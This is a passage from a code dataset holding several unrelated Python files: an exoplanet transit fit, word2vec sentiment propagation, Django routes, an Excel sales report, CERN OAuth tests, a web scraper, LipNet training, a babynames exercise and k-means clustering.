map_soln0['r_pl_b']\n## r_pl_b = pm.Deterministic(\"r_pl_b\", tt.exp(logr_b)) #radius - we then unlog the radius to keep track of it. a pm.Deterministic basically just tracks a value for you for later on!\t\n## ratio_b = pm.Deterministic(\"ror_b\", r_pl_b / r_star) #ratio - radius ratio between planet and star \t\t\n## b_b = map_soln0['b_b'] # we used the xo distribution rather than the pymc3 one for b, as per the tutorial\n# incl_b = map_soln0['incl'] #incls[planet_num]/180*np.pi # #\n# ecc_b = eccs[planet_num]\n# omega_b = 0.0 \n# \n# ############################################################ \n#\n# orbit_b = xo.orbits.KeplerianOrbit(\n# r_star=r_star, \n# m_star=m_star,\n# period=P_b,\n# t0=t0_b,\n# incl = incl_b,\n# ecc=ecc_b,\n# omega=omega_b,\n# )\n#\t\n#\t\t############################################################ \n# ### Compute the model light curve using starry FOR TESS LIGHTCURVE \n#\n# #planet b\t\t\n# light_curves_b = (\n# xo.LimbDarkLightCurve(params.u).get_light_curve(\n# orbit=orbit_b, r=r_pl_b, t=segment_time, texp=texp\n# )\n# * 1\n# )\n# light_curve_b = pm.math.sum(light_curves_b, axis=-1) + mean \t#this is the eclipse_model\n# pm.Deterministic(\"light_curves_b\", light_curves_b) \t\t\t#tracking val of model light curve for plots\n#\t\t\n# pm.Normal(\"obs\", mu=light_curve_b, sd=f_err, observed=segment_flux)\n#\t\t\n#\t\n#\t\t### FITTING SEQUENCE\t\t\n# if optimisation == True:\n# if start is None:\n# start = model.test_point\n# map_soln = xo.optimize(start=start)\n# map_soln = xo.optimize(start=map_soln)\n# map_soln = xo.optimize(start=map_soln)\n# else:\n# map_soln=model.test_point\n#\t\t\n### trace = []\n## model_t0 = map_soln['t0_b']\n# \n# # n.b. in Edwards+ they used 30,000 burn-in (tuning) and 100,000 iterations (draws), with 200 walkers\n# trace = pm.sample(\n# tune=tune_step, #Previously both were 5000\n# draws=draw_step,\n# start=map_soln,\n# cores=2,\n# chains=2,\n# step=xo.get_dense_nuts_step(target_accept=0.9), #Previously 0.9\n# )\n# \n## summary_df =pm.summary(trace, varnames=[\"t0_b\",\"mean\"]) #n.b. check pymc3 for better thing than summary - it's probably concatenating it\n## sd = summary_df.sd['t0_b']\n# model_t0 = np.mean(trace[\"t0_b\"])\n# t0_sd = np.std(trace[\"t0_b\"])\n# model_per = np.mean(trace[\"P_b\"])\n# per_sd = np.std(trace[\"P_b\"])\n## \n## pm.summary(trace, varnames=[\"t0_b\",\"mean\"])\n### pm.plot_trace(trace, varnames=[\"t0_b\",\"mean\"])\n## samples = pm.trace_to_dataframe(trace, varnames=[\"t0_b\", \"mean\"])\n## truth = np.concatenate(\n## xo.eval_in_model([t0_b, mean], model.test_point, model=model)\n## )\n## _ = corner.corner(\n## samples,\n## truths=truth,\n## labels=[\"t0_b\", \"mean\"]\n## )\n#\n# return model, map_soln, model_t0, t0_sd, model_per, per_sd, trace # vrad_b_plot, vrad_c_plot, vrad_d_plot, gp_H # with RVs, you need to return some extra stuff for plotting\n##\n#if no_TTV == True:\n# t0 = map_soln0['t0_b']\n# overall_time = np.append(time_Kepler_masked, time_TESS)\n# overall_flux = np.append(flux_Kepler_masked, flux_TESS)\n# model1, map_soln1, model_t0, t0_sd, model_per, per_sd, trace = model_flat_systems(test_t0=t0, segment_time=overall_time, segment_flux=overall_flux,tune_step=1000,draw_step=5000)\n# print('t0 = {} +/- {}'.format(model_t0, t0_sd))\n# print('Per = {} +/- {}'.format(model_per, per_sd))\n#\n# fig, axes = plt.subplots(2, 1, figsize=(15, 10), sharex=True)\n# \t\n# # this plot shows the og lightcurves with the gp model on top\n# # ax = axes[0]\n# # ax.scatter(linear_time[mask], linear_flux[mask], c='k', s = 1, label=\"Original Data\")\n# # gp_mod = soln[\"gp_pred\"] + soln[\"mean\"]\n# # ax.plot(time_Kepler_masked[mask], gp_mod, color=\"C2\", label=\"GP Model\")\n# # ax.legend(fontsize=12)\n# # ax.set_ylabel(\"Relative Flux [ppt]\")\n# \n# # this plot shows the clean lightcurve (og lightcurve - gp solution) plus the light curve models for planets b and c\n# ax = axes[0]\n# ax.scatter(overall_time, overall_flux-1, c='k', s=1, label=\"De-trended Data\")\n# mod_b = map_soln1[\"light_curves_b\"]\n# ax.plot(overall_time, mod_b, color='orange', label=\"Planet Model\")\n# ax.legend(fontsize=12)\n# ax.set_ylabel(\"De-trended Flux [ppt]\")\n# \t\n# # this plot shows the residuals\n# ax = axes[1]\n# mod = np.sum(map_soln1[\"light_curves_b\"], axis=-1)\n# ax.scatter(overall_time, overall_flux - mod-1, c='k', s=1, label='Residuals')\n# ax.axhline(0, color=\"mediumvioletred\", lw=1, label = 'Baseline Flux')\n# ax.set_ylabel(\"Residuals [ppt]\")\n# ax.legend(fontsize=12)\n# ax.set_xlim(overall_time.min(), overall_time.max())\n# ax.set_xlabel(\"Time [BJD]\")\n# plt.title('{}'.format(target_ID))\n#\n#def append_list_as_row(file_name, list_of_elem):\n# with open(file_name, 'a+', newline='') as write_obj:\n# csv_writer = csv.writer(write_obj)\n# csv_writer.writerow(list_of_elem)\n#\n##filename = '/Users/mbattley/Documents/PhD/Kepler-2min xmatch/Final_Ephemerides.csv'\n#append_list_as_row('/Users/mbattley/Documents/PhD/Kepler-2min xmatch/Final_Ephemerides.csv',[Kepler_name+planet_letter,model_per,per_sd,model_t0,t0_sd])\n\nend = timing.time()\nprint('Elapsed time = {}s'.format(end - start)) ","sub_path":"ttv_analysis.py","file_name":"ttv_analysis.py","file_ext":"py","file_size_in_byte":66842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"445614918","text":"import os\nimport json\nimport time\nimport pickle\nimport numpy as np\n\nfrom gensim.models import Word2Vec\nfrom sklearn.metrics.pairwise import euclidean_distances\n\nif __name__ == \"__main__\":\n start_time = time.time()\n vector_dimension = 100\n with open(os.path.join(os.getcwd(), 'raw_data/tokenized'), \"rb\") as f:\n input_data = pickle.load(f)\n print(\"Load tokenized data done.\")\n\n # word2vec modeling & save\n model = Word2Vec(input_data, size=vector_dimension, window=5, min_count=10)\n # model = Word2Vec.load(os.path.join(os.getcwd(), \"word2vec.model\"))\n print(\"Word2vec modeling done.\")\n\n # word vector L2 normalization\n model.init_sims(True)\n\n # get word name list\n words = list(model.wv.vocab.keys())\n\n # get euclidean distance matrix\n word_dim_mat = np.zeros((len(words), vector_dimension))\n for idx, word in enumerate(words):\n word_dim_mat[idx] = model.wv.__getitem__(word)\n euc_mat = euclidean_distances(word_dim_mat)\n print(\"Generate euclidean distance matrix done.\")\n\n # disconnect useless euclidean distance in matrix\n min_distance = np.min(euc_mat)\n max_distance = np.max(euc_mat)\n # epsilon_value = [(max_distance - min_distance) * round(rate, 1) for rate in np.arange(0, 1, 0.1)]\n epsilon_value = (max_distance - min_distance) * 0.9\n # euc_mat_discon_by_eps = np.where(euc_mat > epsilon_value[8], euc_mat, 0)\n euc_mat_discon_by_eps = np.where(euc_mat > epsilon_value, euc_mat, 0)\n\n # check if all connection disconnected\n zero_row = []\n for row in range(len(euc_mat)):\n if np.any(euc_mat_discon_by_eps[row])==False:\n zero_row.append(row)\n\n # reconnect minimum value\n if zero_row:\n for row in zero_row:\n euc_row = euc_mat[row]\n min_value = np.min(euc_row[np.nonzero(euc_row)]) # get minimum nonzero value\n non_zero_idx = np.where(euc_row==min_value)\n replaced_row = np.zeros_like(euc_row)\n replaced_row[non_zero_idx] = min_value\n euc_mat_discon_by_eps[row] = replaced_row\n\n euc_mat = euc_mat_discon_by_eps\n print(\"Make distance matrix done.\")\n\n # label propagation\n from label_propagation_algorithm import LabelPropagation\n # from sklearn.semi_supervised import LabelPropagation\n\n # pos_words = [\"사랑\",\"대박나고\",\"소름\",\"찡했어요\",\"천재\",\"온기\",\"눈물\",\"찡\",\"굳\",\"대박\"]\n pos_words = [\"사랑\",\"소름\",\"천재\",\"눈물\",\"찡\",\"굳\",\"대박\"]\n # neg_words = [\"과로사\",\"틀렸어\",\"개뿔\",\"빌런\",\"시끄럽게\",\"과도\",\"거짓말\",\"실망하신듯\",\"어색한\",\"걱정\"]\n neg_words = [\"개뿔\",\"빌런\",\"시끄럽게\",\"과도\",\"거짓말\",\"어색한\",\"걱정\"]\n pos_idx = [words.index(word) for word in pos_words]\n neg_idx = [words.index(word) for word in neg_words]\n euc_label = np.zeros_like(words, dtype=float)\n euc_label[pos_idx] = 1\n euc_label[neg_idx] = -1\n\n labelprop_model = LabelPropagation()\n labelprop_model.affinity_matrix = euc_mat\n labelprop_model.fit(word_dim_mat, euc_label)\n print(\"Label propagation done.\")\n print(\"total modeling time : %s seconds\" % (time.time() - start_time))\n\n # make saved directory\n try:\n os.mkdir(os.path.join(os.getcwd(), \"saved_model\"))\n except FileExistsError as e:\n pass\n\n # save word2vec model\n model.save(os.path.join(os.getcwd(), \"saved_model/word2vec.model\"))\n\n # save label propagation model\n pickle.dump(labelprop_model, open(os.path.join(os.getcwd(), \"saved_model/labelprop_model\"), 'wb'))\n\n # save result\n with open(os.path.join(os.getcwd(), 'saved_model/result.json'), \"w\", encoding='utf-8') as w:\n for idx, word in enumerate(words):\n w.write(json.dumps({\"word\": word, \"pred_score\": labelprop_model.label_distributions_[idx].tolist()}, ensure_ascii=False))\n w.write(\"\\n\")\n","sub_path":"modeling.py","file_name":"modeling.py","file_ext":"py","file_size_in_byte":3881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"426033563","text":"from django.urls import path\nfrom usedcars import views\nfrom rest_framework.urlpatterns import format_suffix_patterns\nfrom django.conf.urls import include\n\nurlpatterns = [\n path('', views.api_root),\n path('usedcars/', views.CarList.as_view(), name='car-list'),\n path('usedcars//', views.CarDetail.as_view(), name='car-detail'),\n path('fields/', views.FieldList.as_view(), name='field-list'),\n path('fields//', views.FieldDetail.as_view(), name='field-detail'),\n path('users/', views.UserList.as_view(), name='user-list'),\n path('users//', views.UserDetail.as_view(), name='user-detail'),\n path('api-auth/', include('rest_framework.urls')),\n]\n\nurlpatterns = format_suffix_patterns(urlpatterns)\n","sub_path":"usedcars/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"86554393","text":"# -*- coding: utf-8 -*-\r\n# @Time : 2021/7/25 14:21\r\n# @Author : Kevin_liu\r\n# @Email : 87281094@xxx.com\r\n# @File : test.py\r\n# -*- coding:utf-8 -*-\r\n\"\"\"\r\n 每月的销售总金额\r\n 全年的销售总金额\r\n 每种衣服的销售总金额\r\n 每个季度销售总金额占比\r\n 全年每种销售总数量占比\r\n\"\"\"\r\nimport xlrd # xlrd 1.2.0版本\r\n\r\n\r\n# 每月的销售金额\r\ndef sheet_sum(workbook):\r\n s = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] # 声明每月总销售量\r\n st_names = workbook.sheet_names() # 获取所有选项卡名称\r\n st_len = len(st_names) # 获取sheet数量\r\n for k in range(st_len): # 通过角标遍历所有选项卡\r\n st = workbook.sheet_by_index(k) # 获取当前选项卡\r\n rows = st.nrows # 获取行数\r\n for j in range(1, rows): # 遍历当前选项卡\r\n price = float(st.cell_value(j, 2)) # 获取单价\r\n num = int(st.cell_value(j, 4)) # 获取数量\r\n s[k] += price * num # 累加销售额\r\n return s\r\n\r\n\r\n# 每种衣服的销售总额\r\ndef alone_sum(workbook):\r\n all_st = workbook.sheet_names() # 获取所有选项卡名称\r\n dt = {} # 声明服装名称与销售额的对应关系,字典数据关系:dt = {\"服装名称\": [销售金额, 销售数量]}\r\n for k in all_st: # 遍历所有选项卡\r\n st = workbook.sheet_by_name(k) # 获取当前选项卡\r\n rows = st.nrows # 获取行数\r\n for j in range(1, rows): # 遍历当前选项卡\r\n name = st.cell_value(j, 1) # 获取服装名称\r\n price = float(st.cell_value(j, 2)) # 获取单价\r\n num = int(st.cell_value(j, 4)) # 获取数量\r\n if name in dt: # 判断该服装名称在li字典中是否已经存在\r\n dt[name][0] += price * num # 已经存在则累加销售金额\r\n dt[name][1] += num # 累加销售数量\r\n else:\r\n dt[name] = [price * num, num]\r\n return dt\r\n\r\n\r\nwb = xlrd.open_workbook(filename=\"2020年每个月的销售情况.xlsx\", encoding_override=True) # 打开工作簿\r\n\r\n# 1.每月的销售总金额\r\nli = sheet_sum(wb) # 调用sheet_sum()方法\r\nli_len = len(li) # 获取列表长度\r\nfor key, value in enumerate(li, 1):\r\n print(key, \"月的销售总额为:¥%.2f\" % value)\r\nprint(\"-\" * 40)\r\n\r\n# 2.全年的销售总金额\r\nsale_sum = 0\r\nfor i in li:\r\n sale_sum += i\r\nprint(\"全年的销售总金额为:¥%.2f\" % sale_sum)\r\nprint(\"-\" * 40)\r\n\r\n# 3.每种衣服的销售总金额\r\nlast_dt = alone_sum(wb) # 调用alone_sum()方法\r\ndt_len = len(last_dt)\r\nfor key in last_dt:\r\n print(key, \"的销售总金额为:¥%.2f\" % last_dt[key][0]) # 全年销售金额\r\nprint(\"-\" * 40)\r\n\r\n# 4.每个季度销售总金额占比\r\nqua_sum = [0, 0, 0, 0] # 声明季度总和\r\nfor i in range(li_len):\r\n t = i // 3\r\n qua_sum[t] += li[i]\r\n\r\nfor key, value in enumerate(qua_sum, 1):\r\n print(\"第\", key, \"季度的销售金额占比为:¥%.2f\" % (value/sale_sum*100), \"%\")\r\nprint(\"-\" * 40)\r\n\r\n# 5.全年每种销售总数量占比\r\nsale_num = 0 # 声明销售总数量\r\nfor key in last_dt:\r\n sale_num += last_dt[key][1] # 累加销售数量\r\n\r\nfor key in last_dt:\r\n ratio = last_dt[key][1] / sale_num # 销售数量占比,销售数量/总数量\r\n print(key, \"占总销售数量的:%.2f\" % (ratio * 100), \"%\") # 以百分比格式输出,保留两位小数","sub_path":"day07/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"629848884","text":"# -*- coding: utf-8 -*-\n#\n# This file is part of Invenio.\n# Copyright (C) 2016-2018 CERN.\n#\n# Invenio is free software; you can redistribute it and/or modify it\n# under the terms of the MIT License; see LICENSE file for more details.\n\n\"\"\"Test case for CERN oauth remote app.\"\"\"\n\nfrom __future__ import absolute_import\n\nfrom flask import g, session, url_for\nfrom flask_security import login_user\nfrom helpers import get_state, mock_remote_get, mock_response\nfrom six.moves.urllib_parse import parse_qs, urlparse\n\nfrom invenio_oauthclient.contrib.cern import account_info, \\\n disconnect_handler, fetch_extra_data, fetch_groups, \\\n get_dict_from_response\n\n\ndef test_fetch_groups(app, example_cern):\n \"\"\"Test group extraction.\"\"\"\n example_response, example_token, _ = example_cern\n res = get_dict_from_response(example_response)\n\n # Override hidden group configuration\n import re\n app.config['OAUTHCLIENT_CERN_HIDDEN_GROUPS'] = ('hidden_group',)\n app.config['OAUTHCLIENT_CERN_HIDDEN_GROUPS_RE'] = (\n re.compile(r'Group[1-3]'),\n )\n\n # Check that groups were hidden as required\n groups = fetch_groups(res['Group'])\n assert all(group in groups\n for group in ('Group{}'.format(i) for i in range(4, 6)))\n\n\ndef test_fetch_extra_data(app, example_cern):\n \"\"\"Test extra data extraction.\"\"\"\n example_response, example_token, _ = example_cern\n res = get_dict_from_response(example_response)\n\n # Check that groups were hidden as required\n extra_data = fetch_extra_data(res)\n\n assert 'person_id' in extra_data\n assert extra_data['person_id'] == \"234567\"\n assert 'identity_class' in extra_data\n assert extra_data['identity_class'] == \"CERN Registered\"\n assert 'department' in extra_data\n assert extra_data['department'] == \"IT/CDA\"\n\n\ndef test_fetch_extra_data_fields_missing(app, example_cern):\n \"\"\"Test extra data extraction when fields are missing.\"\"\"\n example_response, example_token, _ = example_cern\n res = get_dict_from_response(example_response)\n\n del res['PersonID']\n del res['IdentityClass']\n del res['Department']\n\n # Check that groups were hidden as required\n extra_data = fetch_extra_data(res)\n\n assert 'person_id' in extra_data\n assert extra_data['person_id'] is None\n assert 'identity_class' in extra_data\n assert extra_data['identity_class'] is None\n assert 'department' in extra_data\n assert extra_data['department'] is None\n\n\ndef test_account_info(app, example_cern):\n \"\"\"Test account info extraction.\"\"\"\n client = app.test_client()\n ioc = app.extensions['oauthlib.client']\n\n # Ensure remote apps have been loaded (due to before first request)\n client.get(url_for('invenio_oauthclient.login', remote_app='cern'))\n\n example_response, _, example_account_info = example_cern\n\n mock_remote_get(ioc, 'cern', example_response)\n\n assert account_info(\n ioc.remote_apps['cern'], None) == example_account_info\n\n assert account_info(ioc.remote_apps['cern'], {}) == \\\n dict(\n user=dict(\n email='test.account@cern.ch',\n profile={\n 'full_name': u'Test Account', 'username': u'taccount'\n },\n ),\n external_id='123456', external_method='cern',\n active=True\n )\n\n\ndef test_account_setup(app, example_cern, models_fixture):\n \"\"\"Test account setup after login.\"\"\"\n with app.test_client() as c:\n ioc = app.extensions['oauthlib.client']\n\n # Ensure remote apps have been loaded (due to before first request)\n resp = c.get(url_for('invenio_oauthclient.login', remote_app='cern'))\n assert resp.status_code == 302\n\n example_response, example_token, example_account_info = example_cern\n\n mock_response(app.extensions['oauthlib.client'], 'cern',\n example_token)\n mock_remote_get(ioc, 'cern', example_response)\n\n resp = c.get(url_for(\n 'invenio_oauthclient.authorized',\n remote_app='cern', code='test',\n state=get_state('cern')))\n assert resp.status_code == 302\n assert resp.location == ('http://localhost/account/settings/'\n 'linkedaccounts/')\n assert len(g.identity.provides) == 7\n\n datastore = app.extensions['invenio-accounts'].datastore\n user = datastore.find_user(email='test.account@cern.ch')\n assert user\n\n with app.test_request_context():\n resp = disconnect_handler(ioc.remote_apps['cern'])\n assert resp.status_code >= 300\n\n login_user(user)\n assert len(g.identity.provides) == 7\n disconnect_handler(ioc.remote_apps['cern'])\n\n\ndef test_login(app):\n \"\"\"Test CERN login.\"\"\"\n client = app.test_client()\n\n resp = client.get(\n url_for('invenio_oauthclient.login', remote_app='cern',\n next='/someurl/')\n )\n assert resp.status_code == 302\n\n params = parse_qs(urlparse(resp.location).query)\n assert params['response_type'], ['code']\n assert params['scope'] == ['Name Email Bio Groups']\n assert params['redirect_uri']\n assert params['client_id']\n assert params['state']\n\n\ndef test_authorized_reject(app):\n \"\"\"Test a rejected request.\"\"\"\n with app.test_client() as c:\n c.get(url_for('invenio_oauthclient.login', remote_app='cern'))\n resp = c.get(\n url_for('invenio_oauthclient.authorized',\n remote_app='cern', error='access_denied',\n error_description='User denied access',\n state=get_state('cern')))\n assert resp.status_code in (301, 302)\n assert resp.location == 'http://localhost/'\n # Check message flash\n assert session['_flashes'][0][0] == 'info'\n","sub_path":"tests/test_contrib_cern.py","file_name":"test_contrib_cern.py","file_ext":"py","file_size_in_byte":5799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"82219915","text":"from bs4 import BeautifulSoup\r\nimport requests\r\nurl = \"https://search.daum.net/search?w=tot&DA=YZR&t__nil_searchbox=btn&sug=&sugo=&sq=&o=&q=%EC%86%A1%ED%8C%8C+%ED%97%AC%EB%A6%AC%EC%98%A4%EC%8B%9C%ED%8B%B0\"\r\n\r\nres = requests.get(url)\r\nres.raise_for_status\r\nsoup = BeautifulSoup(res.text , \"lxml\")\r\n\r\nitems = soup.find(\"tbody\").find_all(\"tr\")\r\n\r\nfor idx, item in enumerate(items):\r\n col = item.find_all(\"td\")\r\n # a_item = item.find(\"td\",attrs={\"class\":\"col1\"}).find(\"div\",attrs={\"class\":\"txt_ac\"}).get_text()\r\n # b_item = item.find(\"td\",attrs={\"class\":\"col2\"}).find(\"div\",attrs={\"class\":\"txt_ac\"}).get_text()\r\n # c_item = item.find(\"td\",attrs={\"class\":\"col3\"}).find(\"div\",attrs={\"class\":\"txt_ac\"}).get_text()\r\n # d_item = item.find(\"td\",attrs={\"class\":\"col4\"}).find(\"div\",attrs={\"class\":\"txt_ac\"}).get_text()\r\n # e_item = item.find(\"td\",attrs={\"class\":\"col5\"}).find(\"div\",attrs={\"class\":\"txt_ac\"}).get_text()\r\n print(\"============= 매물{} ==========\".format(idx))\r\n # print(\"거래 : \", a_item) \r\n # print(\"면적 : \", b_item) \r\n # print(\"가격 : \", c_item) \r\n # print(\"동 : \", d_item) \r\n # print(\"층 : \", e_item) \r\n print(\"거래 : \", col[0].get_text().strip()) \r\n print(\"면적 : \", col[1].get_text().strip() , \"(공급/전용)\") \r\n print(\"가격 : \", col[2].get_text().strip() , \"(만원)\") \r\n print(\"동 : \", col[3].get_text().strip()) \r\n print(\"층 : \", col[4].get_text().strip()) \r\n\r\n \r\n","sub_path":"webscraping_basic/19_quiz.py","file_name":"19_quiz.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"233772874","text":"#inline keyboar for primer\n#---------------------------------------------------------------------------------------------\ndef build_menu(buttons,\n n_cols,\n header_buttons=None,\n footer_buttons=None):\n menu = [buttons[i:i + n_cols] for i in range(0, len(buttons), n_cols)]\n if header_buttons:\n menu.insert(0, header_buttons)\n if footer_buttons:\n menu.append(footer_buttons)\n return menu\n\ndef echo2(bot, update):\n button_list = [\n InlineKeyboardButton(\"col1\", callback_data='help'),\n InlineKeyboardButton(\"col2\", callback_data='start'),\n InlineKeyboardButton(\"row 2\", callback_data='start')\n ]\n reply_markup = InlineKeyboardMarkup(build_menu(button_list, n_cols=2))\n bot.send_message(update.message.chat_id, \"A two-column menu\", reply_markup=reply_markup)\n#---------------------------------------------------------------------------------------------","sub_path":"telegabot/other.py","file_name":"other.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"167058665","text":"from keras.optimizers import Adam\nfrom keras.callbacks import TensorBoard, CSVLogger, ModelCheckpoint\nfrom lipnet.lipreading.generators import BasicGenerator\nfrom lipnet.lipreading.callbacks import Statistics, Visualize\nfrom lipnet.lipreading.curriculums import Curriculum\nfrom lipnet.core.decoders import Decoder\nfrom lipnet.lipreading.helpers import labels_to_text\nfrom lipnet.utils.spell import Spell\nfrom lipnet.model2 import LipNet\nimport numpy as np\nimport datetime\nimport os\nimport glob\n\ndef curriculum_rules(epoch):\n return { 'sentence_length': -1, 'flip_probability': 0.5, 'jitter_probability': 0.05 }\n\nnp.random.seed(55)\n\nrun_name = datetime.datetime.now().strftime('%Y%m%d%H%M%S')\n\nCURRENT_PATH = os.path.dirname(os.path.abspath(__file__))\nDATASET_DIR = os.path.join(CURRENT_PATH, 'datasets')\nOUTPUT_DIR = os.path.join(CURRENT_PATH, 'results')\nLOG_DIR = os.path.join(CURRENT_PATH, 'logs')\n\nPREDICT_GREEDY = False\nPREDICT_BEAM_WIDTH = 200\nPREDICT_DICTIONARY = os.path.join(CURRENT_PATH,'..','..','common','dictionaries','grid.txt')\ncurriculum = Curriculum(curriculum_rules)\n#minibatch size 50 ->3\nlip_gen = BasicGenerator(dataset_path=DATASET_DIR,\n minibatch_size=20,\n img_c=3,img_w=100, img_h=50, frames_n=75,\n absolute_max_string_len=32,\n curriculum=curriculum, start_epoch=0).build()\n\n\nlipnet = LipNet(img_c=3, img_w=100, img_h=50, frames_n=75,\n absolute_max_string_len=32, output_size=lip_gen.get_output_size())\n#show the summary of the network\nlipnet.summary()\n\n#import the adam optimizer\nadam = Adam(lr=0.0001, beta_1=0.9, beta_2=0.999, epsilon=1e-08)\n\n#Here we import the model from the model2 LipNet.model()\n\n#model compile, using ctc as loss cal and adam as optimizer\nlipnet.model.compile(loss={'ctc': lambda y_true, y_pred: y_pred}, optimizer=adam) \n#import the spell autocorrection\nspell = Spell(path=PREDICT_DICTIONARY)\n\n# decode the labels to the text and form the Y_data spell.sentence \ndecoder = Decoder(greedy=PREDICT_GREEDY, beam_width=PREDICT_BEAM_WIDTH,\n postprocessors=[labels_to_text, spell.sentence])\n\ntrain_gen=lip_gen.get_batch(0,20,train=True)\nval_gen=lip_gen.get_batch(0,5,train=False)\n\n\n\nweight_file = 'D:/GitHub/LipNet/training/unseen_speakers/results/weights3000.h5'\nlipnet.model.load_weights(weight_file)\n\n\n\n#save the model and weights\n#checkpoint = ModelCheckpoint('D:/GitHub/LipNet/training/unseen_speakers/results/weights5000.h5', monitor='train_loss', save_weights_only=True, mode='auto', period=1)\ncsv_logger = CSVLogger('D:/GitHub/LipNet/training/unseen_speakers/logs/losslog0824.csv', separator=',', append=True)\ntensorboard = TensorBoard(log_dir='D:/GitHub/LipNet/training/unseen_speakers/logs/0824')\ncheckpoint = ModelCheckpoint('D:/GitHub/LipNet/training/unseen_speakers/results/valweights3000.h5', monitor='val_loss', save_weights_only=True, mode='auto', period=1)\n\n#lipnet.model\nlipnet.model.fit(x=train_gen[0],y=train_gen[1],batch_size=5,epochs=20,verbose=1,callbacks=[csv_logger,tensorboard,checkpoint],\n validation_split=0.0, validation_data=val_gen, shuffle=True, class_weight=None, sample_weight=None, initial_epoch=0)\n\n\n\n#loss, accuracy = lipnet.model.evaluate(gen[2],gen[3])\n\n#train_size=lip_gen.training_size\n#steps=lip_gen.default_training_steps\n#batchsize=lip_gen.minibatch_size\n\n#a=lip_gen.train_list\n\n#\n#generator=lip_gen.next_train()\n#\n\n# test align hash\n\n#a=lip_gen.align_hash\n#print(a.keys())\n#print(a['bbaszp'].align)\n#print(a['bbaszp'].sentence)","sub_path":"training/unseen_speakers/loadmodel.py","file_name":"loadmodel.py","file_ext":"py","file_size_in_byte":3595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"240195375","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# BabyNames python coding exercise.\n\n# Copyright 2010 Google Inc.\n# Licensed under the Apache License, Version 2.0\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Google's Python Class\n# http://code.google.com/edu/languages/google-python-class/\n\nimport sys\nimport re\nimport argparse\n\n\"\"\"\nDefine the extract_names() function below and change main()\nto call it.\n\nFor writing regex, it's nice to include a copy of the target\ntext for inspiration.\n\nHere's what the html looks like in the baby.html files:\n...\n

Popularity in 1990

\n....\n1MichaelJessica\n2ChristopherAshley\n3MatthewBrittany\n...\n\nSuggested milestones for incremental development:\n -Extract the year and print it\n -Extract the names and rank numbers and just print them\n -Get the names data into a dict and print it\n -Build the [year, 'name rank', ... ] list and print it\n -Fix main() to use the extract_names list\n\"\"\"\n\n\ndef extract_names(filenames):\n \"\"\"\n Given a file name for baby.html, returns a list starting with the\n year string followed by the name-rank strings in alphabetical order.\n ['2006', 'Aaliyah 91', Aaron 57', 'Abagail 895', ' ...]\n \"\"\"\n names_rank_list = []\n ranked_dict = {}\n for filename in filenames:\n with open(filename) as file:\n content = file.read()\n year = re.findall(r'Popularity\\sin\\s(\\d\\d\\d\\d)', content)[0]\n names = re.findall(\n r'(\\d+)(\\w+)(\\w+)', content)\n names_rank_list.append(year)\n for name in names:\n rank, guy, gal = name\n if guy not in ranked_dict:\n ranked_dict[guy] = rank\n if gal not in ranked_dict:\n ranked_dict[gal] = rank\n sorted_list = sorted(ranked_dict)\n\n for name in sorted_list:\n names_rank_list.append('{} {}'.format(name, ranked_dict[name]))\n return names_rank_list\n\n\ndef create_parser():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--summaryfile', help='creates a summary file', action='store_true')\n # The nargs option instructs the parser to expect 1 or more filenames.\n # It will also expand wildcards just like the shell, e.g. 'baby*.html'\n # will work.\n parser.add_argument('files', help='filename(s) to parse', nargs='+')\n return parser\n\n\ndef main():\n parser = create_parser()\n args = parser.parse_args()\n\n if not args:\n parser.print_usage()\n sys.exit(1)\n\n file_list = args.files\n create_summary = args.summaryfile\n names_list = extract_names(file_list)\n\n if create_summary:\n names = '\\n'.join(names_list)+'\\n'\n for filename in file_list:\n with open(filename + '.summary', 'w') as f:\n f.write(names)\n else:\n for filename in file_list:\n print(names_list)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"babynames.py","file_name":"babynames.py","file_ext":"py","file_size_in_byte":3110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"633045685","text":"import csv\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport random\n\ndef selectCentroids():\n return np.array([(random.uniform(15, 140), random.uniform(0, 100)) for i in range(5)])\ndef new_centroids(centroids, cluster):\n keys =sorted(cluster.keys())\n newcentroids = np.array([(np.mean(cluster[k],axis = 0))for k in keys])\n return newcentroids\n\ndef matched(newcentroids, oldcentroids):\n return (set([tuple(a)for a in newcentroids]) == set([tuple(a)for a in oldcentroids]))\n\ndef getclusters(X, centroids):\n cluster = {}\n for x in X:\n value = min([(i[0],np.linalg.norm(x - centroids[i[0]]))for i in enumerate(centroids)], key=lambda s:s[1])[0]\n try:\n cluster[value].append(x)\n except:\n cluster[value] = [x]\n return cluster\n\ndef show(centroids,cluster):\n color = 10 * ['r.','g.','k.','c.','b.']\n for l in cluster.keys():\n for m in range(len(cluster[l])):\n plt.plot(cluster[l][m][0], cluster[l][m][1], color[l], markersize=10)\n\n plt.scatter(centroids[:,0],centroids[:,1],marker = 'x', s = 150, linewidths = 5, zorder = 10)\n plt.show()\n\n\n\n\nx = []\nwith open('Customers.csv') as f:\n f_csv = csv.reader(f)\n headers = next(f_csv)\n for row in f_csv:\n x.append([int(row[3]),int(row[4])])\n\nX = np.array(x)\n\nplt.scatter(X[:, 0], X[:, 1])\nplt.show()\noldcentroids = selectCentroids()\nnewcentroids = selectCentroids()\ncluster = getclusters(X, oldcentroids)\nshow(oldcentroids,cluster)\nwhile not matched(newcentroids, oldcentroids):\n oldcentroids = 